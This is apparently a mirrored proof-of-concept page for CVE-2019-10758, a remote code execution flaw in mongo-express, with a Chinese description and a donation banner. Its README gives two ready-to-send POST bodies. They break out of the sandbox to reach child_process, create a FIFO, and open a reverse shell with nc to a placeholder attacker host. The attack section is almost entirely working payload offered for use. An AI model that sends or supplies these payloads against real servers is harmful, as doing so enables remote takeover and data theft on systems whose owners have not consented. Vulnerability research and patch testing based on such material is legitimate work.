Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-10758 PoC — mongo-express 安全漏洞

Source
Associated Vulnerability
Title:mongo-express 安全漏洞 (CVE-2019-10758)
Description:mongo-express是一款用于交互式管理MongoDB数据库的、基于Web的轻量级管理界面。 mongo-express 0.54.0之前版本中存在安全漏洞。攻击者可借助使用toBSON方法的端点利用该漏洞执行代码。
Description
CVE-2019-10758
Readme
# CVE-2019-10758
mongo-express远程代码执行,反弹shell代码如下:

POST BODY 1:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")

POST BODY 2:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")
File Snapshot

[4.0K] /data/pocs/ab3e4b0f68f404c62ac3b02f55fd8c178cb9d79b └── [ 392] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.